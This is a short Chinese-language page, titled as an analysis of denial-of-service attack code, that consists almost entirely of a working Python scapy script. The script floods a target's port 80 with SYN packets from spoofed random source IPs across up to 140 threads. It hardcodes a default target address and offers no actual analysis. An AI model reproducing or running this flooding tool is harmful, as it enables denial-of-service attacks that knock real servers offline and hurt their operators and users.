分析python伺服器拒絕服務的攻擊代碼

代碼如下:

# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint

class Loop(Thread):
def __init__(self,remoteAddr):
Thread.__init__(self)
self.remoteAddr = remoteAddr

def run(self):
ip = str(randint(0,255))+'.'\
+str(randint(0,255))+'.'\
+str(randint(0,255))+'.'\
+str(randint(0,255))
sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)

class Main(Thread):
def __init__(self,remoteAddr):
Thread.__init__(self)
self.remoteAddr = remoteAddr

def run(self):
limit = 140
total = 0

while True:
if activeCount() < limit:
Loop(remoteAddr = self.remoteAddr).start()
total = total + 1
print '目前已經進行的HttpFlood的次數為:',total

if __name__ == '__main__':
remoteAddr = raw_input('IP=')
if remoteAddr == '':
remoteAddr = '202.103.25.12'

Main(remoteAddr = remoteAddr).start()
